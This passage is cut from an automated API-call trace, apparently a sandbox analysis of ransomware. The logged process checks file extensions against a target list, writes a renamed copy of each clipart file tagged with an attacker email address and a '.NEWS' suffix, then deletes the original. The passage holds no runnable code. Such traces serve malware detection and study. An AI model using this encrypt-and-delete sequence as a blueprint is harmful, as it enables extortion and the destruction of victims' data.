Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0233.364] lstrlenW (lpString=".jpg") returned 4 [0233.364] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.364] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0233.365] lstrlenW (lpString="AN00853_.WMF") returned 12 [0233.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0233.489] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=20578) returned 1 [0233.490] CloseHandle (hObject=0x338) returned 1 [0233.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0233.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0233.514] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.514] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0233.515] GetLastError () returned 0x0 [0233.515] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x5062, lpOverlapped=0x0) returned 1 [0233.520] WriteFile (in: hFile=0x370, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0233.525] ReadFile (in: hFile=0x3b0, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.525] WriteFile (in: hFile=0x370, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.526] SetEndOfFile (hFile=0x370) returned 1 [0233.526] CloseHandle (hObject=0x370) returned 1 [0233.526] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.526] SetEndOfFile (hFile=0x3b0) returned 1 [0233.534] CloseHandle (hObject=0x3b0) returned 1 [0233.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0233.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.536] lstrlenW (lpString=".doc") returned 4 [0233.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.536] lstrlenW (lpString=".docx") returned 5 [0233.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.537] lstrlenW (lpString=".pdf") returned 4 [0233.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.537] lstrlenW (lpString=".xls") returned 4 [0233.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.537] lstrlenW (lpString=".xlsx") returned 5 [0233.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.537] lstrlenW (lpString=".ppt") returned 4 [0233.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.537] lstrlenW (lpString=".zip") returned 4 [0233.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.537] lstrlenW (lpString=".rar") returned 4 [0233.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.537] lstrlenW (lpString=".bz2") returned 4 [0233.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.537] lstrlenW (lpString=".7z") returned 3 [0233.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.538] lstrlenW (lpString=".dbf") returned 4 [0233.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.538] lstrlenW (lpString=".1cd") returned 4 [0233.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.538] lstrlenW (lpString=".jpg") returned 4 [0233.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.538] lstrlenW (lpString=".doc") returned 4 [0233.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.539] lstrlenW (lpString=".docx") returned 5 [0233.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.539] lstrlenW (lpString=".pdf") returned 4 [0233.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.539] lstrlenW (lpString=".xls") returned 4 [0233.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.539] lstrlenW (lpString=".xlsx") returned 5 [0233.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.539] lstrlenW (lpString=".ppt") returned 4 [0233.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.539] lstrlenW (lpString=".zip") returned 4 [0233.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.540] lstrlenW (lpString=".rar") returned 4 [0233.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.540] lstrlenW (lpString=".bz2") returned 4 [0233.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.540] lstrlenW (lpString=".7z") returned 3 [0233.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.844] lstrlenW (lpString=".dbf") returned 4 [0233.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.844] lstrlenW (lpString=".1cd") returned 4 [0233.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0233.844] lstrlenW (lpString=".jpg") returned 4 [0233.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.845] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0233.845] lstrlenW (lpString="AN01044_.WMF") returned 12 [0233.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0236.077] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=1596) returned 1 [0236.077] CloseHandle (hObject=0x3c0) returned 1 [0236.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0236.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0236.234] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.235] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0236.297] GetLastError () returned 0x0 [0236.297] ReadFile (in: hFile=0x398, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x63c, lpOverlapped=0x0) returned 1 [0236.302] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x640, lpOverlapped=0x0) returned 1 [0236.306] ReadFile (in: hFile=0x398, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.306] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.306] SetEndOfFile (hFile=0x3d0) returned 1 [0236.306] CloseHandle (hObject=0x3d0) returned 1 [0236.307] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.307] SetEndOfFile (hFile=0x398) returned 1 [0236.315] CloseHandle (hObject=0x398) returned 1 [0236.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0236.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0236.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.319] lstrlenW (lpString=".doc") returned 4 [0236.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.319] lstrlenW (lpString=".docx") returned 5 [0236.319] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.319] lstrlenW (lpString=".pdf") returned 4 [0236.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.319] lstrlenW (lpString=".xls") returned 4 [0236.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.320] lstrlenW (lpString=".xlsx") returned 5 [0236.320] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.320] lstrlenW (lpString=".ppt") returned 4 [0236.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.320] lstrlenW (lpString=".zip") returned 4 [0236.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.320] lstrlenW (lpString=".rar") returned 4 [0236.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.320] lstrlenW (lpString=".bz2") returned 4 [0236.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.321] lstrlenW (lpString=".7z") returned 3 [0236.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.321] lstrlenW (lpString=".dbf") returned 4 [0236.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.321] lstrlenW (lpString=".1cd") returned 4 [0236.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.321] lstrlenW (lpString=".jpg") returned 4 [0236.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.322] lstrlenW (lpString=".doc") returned 4 [0236.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.322] lstrlenW (lpString=".docx") returned 5 [0236.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.322] lstrlenW (lpString=".pdf") returned 4 [0236.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.322] lstrlenW (lpString=".xls") returned 4 [0236.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.322] lstrlenW (lpString=".xlsx") returned 5 [0236.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.322] lstrlenW (lpString=".ppt") returned 4 [0236.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.323] lstrlenW (lpString=".zip") returned 4 [0236.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.323] lstrlenW (lpString=".rar") returned 4 [0236.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.323] lstrlenW (lpString=".bz2") returned 4 [0236.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.323] lstrlenW (lpString=".7z") returned 3 [0236.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.323] lstrlenW (lpString=".dbf") returned 4 [0236.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.324] lstrlenW (lpString=".1cd") returned 4 [0236.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0236.324] lstrlenW (lpString=".jpg") returned 4 [0236.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.324] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0236.324] lstrlenW (lpString="AN01184_.WMF") returned 12 [0236.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0236.325] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=3746) returned 1 [0236.326] CloseHandle (hObject=0x398) returned 1 [0236.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0236.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0236.327] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.327] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0236.328] GetLastError () returned 0x0 [0236.328] ReadFile (in: hFile=0x398, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0xea2, lpOverlapped=0x0) returned 1 [0236.547] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0238.283] ReadFile (in: hFile=0x398, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0238.283] WriteFile (in: hFile=0x3d0, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0238.284] SetEndOfFile (hFile=0x3d0) returned 1 [0238.918] CloseHandle (hObject=0x3d0) returned 1 [0239.534] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0239.534] SetEndOfFile (hFile=0x398) returned 1 [0239.783] CloseHandle (hObject=0x398) returned 1 [0239.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0240.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0240.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.187] lstrlenW (lpString=".doc") returned 4 [0240.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.187] lstrlenW (lpString=".docx") returned 5 [0240.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.187] lstrlenW (lpString=".pdf") returned 4 [0240.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.187] lstrlenW (lpString=".xls") returned 4 [0240.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.187] lstrlenW (lpString=".xlsx") returned 5 [0240.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.187] lstrlenW (lpString=".ppt") returned 4 [0240.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.188] lstrlenW (lpString=".zip") returned 4 [0240.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.188] lstrlenW (lpString=".rar") returned 4 [0240.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.188] lstrlenW (lpString=".bz2") returned 4 [0240.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.188] lstrlenW (lpString=".7z") returned 3 [0240.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.188] lstrlenW (lpString=".dbf") returned 4 [0240.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.188] lstrlenW (lpString=".1cd") returned 4 [0240.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.189] lstrlenW (lpString=".jpg") returned 4 [0240.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.189] lstrlenW (lpString=".doc") returned 4 [0240.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.189] lstrlenW (lpString=".docx") returned 5 [0240.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.189] lstrlenW (lpString=".pdf") returned 4 [0240.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.190] lstrlenW (lpString=".xls") returned 4 [0240.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.190] lstrlenW (lpString=".xlsx") returned 5 [0240.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.190] lstrlenW (lpString=".ppt") returned 4 [0240.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.190] lstrlenW (lpString=".zip") returned 4 [0240.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.190] lstrlenW (lpString=".rar") returned 4 [0240.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.191] lstrlenW (lpString=".bz2") returned 4 [0240.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.191] lstrlenW (lpString=".7z") returned 3 [0240.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.191] lstrlenW (lpString=".dbf") returned 4 [0240.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.191] lstrlenW (lpString=".1cd") returned 4 [0240.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0240.191] lstrlenW (lpString=".jpg") returned 4 [0240.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.192] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0240.192] lstrlenW (lpString="AN02724_.WMF") returned 12 [0240.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 